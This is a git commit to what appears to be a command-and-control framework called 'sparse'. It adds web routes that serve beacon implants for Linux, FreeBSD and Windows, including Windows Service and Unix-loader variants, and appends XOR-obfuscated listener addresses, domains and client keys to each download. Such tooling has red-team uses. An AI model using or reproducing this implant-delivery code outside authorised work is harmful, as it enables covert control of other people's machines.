fix: everything builds

made it also possible to download individual beacons as opposed to just
the installer, to provide more options and make it easier to test
This commit is contained in:
Andrew Rioux
2025-02-13 15:03:14 -05:00
parent 75b53f7191
commit c0fe4f2bdb
25 changed files with 370 additions and 146 deletions

View File

@@ -1,16 +1,21 @@
{
"db_name": "SQLite",
"query": "SELECT certificate, privkey FROM beacon_listener WHERE listener_id = ?",
"query": "SELECT domain_name, certificate, privkey FROM beacon_listener WHERE listener_id = ?",
"describe": {
"columns": [
{
"name": "certificate",
"name": "domain_name",
"ordinal": 0,
"type_info": "Text"
},
{
"name": "certificate",
"ordinal": 1,
"type_info": "Blob"
},
{
"name": "privkey",
"ordinal": 1,
"ordinal": 2,
"type_info": "Blob"
}
],
@@ -18,9 +23,10 @@
"Right": 1
},
"nullable": [
false,
false,
false
]
},
"hash": "f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342"
"hash": "2d69fc5f5de4a3815f6da30be8d21fb922295560a2aecb0532eeab17a52896e5"
}

View File

@@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip,\n source_mac, source_mode, default_category, client_key, client_cert,\n source_interface)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 10
},
"nullable": []
},
"hash": "66c0f884f6640f8c3570e52beca741d1818509ded4d4e33e5eba333fcab30b98"
}

View File

@@ -1,6 +1,6 @@
{
"db_name": "SQLite",
"query": "SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,\n source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key\n FROM beacon_template JOIN beacon_listener",
"query": "SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,\n source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key,\n source_interface\n FROM beacon_template JOIN beacon_listener",
"describe": {
"columns": [
{
@@ -62,6 +62,11 @@
"name": "client_key",
"ordinal": 11,
"type_info": "Blob"
},
{
"name": "source_interface",
"ordinal": 12,
"type_info": "Blob"
}
],
"parameters": {
@@ -79,8 +84,9 @@
false,
false,
false,
false
false,
true
]
},
"hash": "0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625"
"hash": "75816d6d1484350d4a1c37b6679237007868f10438ee9cbd7ae67eeaa345be0f"
}

View File

@@ -1,12 +0,0 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, source_netmask, source_gateway, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 11
},
"nullable": []
},
"hash": "a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b"
}

View File

@@ -1,12 +0,0 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 9
},
"nullable": []
},
"hash": "ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5"
}

View File

@@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip,\n source_mac, source_mode, source_netmask, source_gateway, default_category,\n client_key, client_cert, source_interface)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 12
},
"nullable": []
},
"hash": "bb55c34fc7e98138c4850452430fd8a6a1e65f84591ab069893cec65e8daaf83"
}

View File

@@ -437,10 +437,37 @@ pub fn DisplayTemplates(
<a
class="button"
download=""
href=format!("/installer/{}", template.template_id)
href=format!("/binaries/installer/{}", template.template_id)
>
"Download installer"
</a>
<a
class="button"
download=""
href=format!("/binaries/beacon/{}", template.template_id)
>
"Download beacon"
</a>
{(template.operating_system == "windows")
.then(|| view! {
<a
class="button"
download=""
href=format!("/binaries/beacon/{}?use_svc=true", template.template_id)
>
"Download beacon (Windows Service)"
</a>
})}
{(template.operating_system != "windows")
.then(|| view! {
<a
class="button"
download=""
href=format!("/binaries/beacon/{}?use_loader=true", template.template_id)
>
"Download beacon (Unix loader)"
</a>
})}
<button
on:click={
let template_id = template.template_id;
@@ -456,7 +483,12 @@ pub fn DisplayTemplates(
<div>
<ul>
<li>"Source IP: "{template.source_ip.clone()}</li>
<li>"Source MAC: "{template.source_mac.clone().unwrap_or("00:00:00:00:00:00".to_owned())}</li>
{template
.source_mac
.clone()
.map(|m| view! {
<li>"Source MAC: "{m}</li>
})}
<li>
"Source mode: "
{match template.source_mode.clone() {

View File

@@ -1,13 +1,14 @@
use std::{net::SocketAddrV4, process::ExitCode};
use axum::{
extract::{FromRef, Path, State},
extract::{FromRef, Path, Query, State},
response::IntoResponse,
routing::get,
Router,
};
use leptos::prelude::*;
use leptos_axum::{generate_route_list, LeptosRoutes};
use serde::Deserialize;
use sqlx::sqlite::SqlitePool;
use tokio::signal;
@@ -20,6 +21,17 @@ pub(crate) mod beacon_binaries {
include_bytes!(std::env!("SPARSE_INSTALLER_FREEBSD"));
pub const WINDOWS_INSTALLER: &'static [u8] =
include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS"));
pub const LINUX_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX"));
pub const LINUX_BEACON_LOADER: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX_LOADER"));
pub const FREEBSD_BEACON: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD"));
pub const FREEBSD_BEACON_LOADER: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD_LOADER"));
pub const WINDOWS_BEACON: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS"));
pub const WINDOWS_BEACON_SVC: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS_SVC"));
}
#[cfg(debug_assertions)]
@@ -27,7 +39,7 @@ pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error>
let path = match btype {
"linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-installer",
"freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-installer",
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-unix-installer",
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-installer",
other => {
return Err(crate::error::Error::Generic(format!(
"unknown beacon type: {other}"
@@ -49,17 +61,50 @@ pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error>
}
}
#[cfg(debug_assertions)]
pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
let path = match btype {
"linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-beacon",
"linux-loader" => "unix-loader/zig-out/bin/unix-loader",
"freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-beacon",
"freebsd-loader" => "unix-loader/zig-out/bin/unix-loader",
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-beacon.exe",
"windows-svc" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-beacon.exe",
other => {
return Err(crate::error::Error::Generic(format!(
"unknown beacon type: {other}"
)))
}
};
Ok(tokio::fs::read(path).await?)
}
#[cfg(not(debug_assertions))]
pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
match btype {
"linux" => Ok(beacon_binaries::LINUX_BEACON.to_owned()),
"linux-loader" => Ok(beacon_binaries::LINUX_BEACON_LOADER.to_owned()),
"windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
"windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
"windows-svc" => Ok(beacon_binaries::WINDOWS_BEACON_SVC.to_owned()),
"freebsd" => Ok(beacon_binaries::FREEBSD_BEACON.to_owned()),
"freebsd-loader" => Ok(beacon_binaries::FREEBSD_BEACON_LOADER.to_owned()),
other => Err(crate::error::Error::Generic(format!(
"unknown beacon type: {other}"
))),
}
}
#[derive(FromRef, Clone, Debug)]
pub struct AppState {
db: SqlitePool,
leptos_options: leptos::config::LeptosOptions,
}
#[axum::debug_handler]
pub async fn download_beacon_installer(
Path(template_id): Path<i64>,
State(db): State<AppState>,
) -> Result<impl IntoResponse, crate::error::Error> {
async fn get_parameters_bytes(
template_id: i64,
db: SqlitePool
) -> Result<(Vec<u8>, String), crate::error::Error> {
use rand::{rngs::OsRng, TryRngCore};
use sparse_actions::payload_types::{Parameters_t, XOR_KEY};
@@ -75,7 +120,7 @@ pub async fn download_beacon_installer(
source_interface
FROM beacon_template JOIN beacon_listener"
)
.fetch_one(&db.db)
.fetch_one(&db)
.await?;
let dest_ip = template.public_ip.parse::<std::net::Ipv4Addr>()?;
@@ -172,13 +217,67 @@ pub async fn download_beacon_installer(
parameters.domain_name[..domain_name.len()].copy_from_slice(&domain_name[..]);
parameters.domain_name_length = domain_name.len() as u16;
let installer_bytes = get_installer(&template.operating_system).await?;
let parameters_bytes = parameters_buffer
.iter()
.map(|b| b ^ (XOR_KEY as u8))
.collect::<Vec<_>>();
Ok((parameters_bytes, template.operating_system.clone()))
}
#[derive(Debug, Deserialize)]
pub struct BeaconDownloadParams {
use_svc: Option<bool>,
use_loader: Option<bool>,
}
pub async fn download_beacon(
Path(template_id): Path<i64>,
State(db): State<AppState>,
Query(beacon_params): Query<BeaconDownloadParams>
) -> Result<impl IntoResponse, crate::error::Error> {
println!("Params: {beacon_params:?}");
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
let binary = if beacon_params.use_svc.unwrap_or_default() {
"windows-svc".to_string()
} else if beacon_params.use_loader.unwrap_or_default() {
format!("{operating_system}-loader")
} else {
operating_system.clone()
};
let installer_bytes = get_beacon(&binary).await?;
use axum::http::header;
Ok((
[
(header::CONTENT_TYPE, "application/octet-stream".to_string()),
(
header::CONTENT_DISPOSITION,
format!(
r#"attachement; filename="sparse-beacon{}""#,
if operating_system.starts_with("windows") {
".exe"
} else {
""
}
),
),
],
[&installer_bytes[..], &parameters_bytes[..]].concat(),
))
}
pub async fn download_beacon_installer(
Path(template_id): Path<i64>,
State(db): State<AppState>,
) -> Result<impl IntoResponse, crate::error::Error> {
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
let installer_bytes = get_installer(&operating_system).await?;
use axum::http::header;
Ok((
@@ -188,7 +287,7 @@ pub async fn download_beacon_installer(
header::CONTENT_DISPOSITION,
format!(
r#"attachement; filename="sparse-installer{}""#,
if template.operating_system == "windows" {
if operating_system.starts_with("windows") {
".exe"
} else {
""
@@ -223,7 +322,8 @@ pub async fn serve_web(
};
let app = Router::new()
.route("/installer/:template_id", get(download_beacon_installer))
.route("/binaries/installer/:template_id", get(download_beacon_installer))
.route("/binaries/beacon/:template_id", get(download_beacon))
.leptos_routes_with_context(
&state,
routes,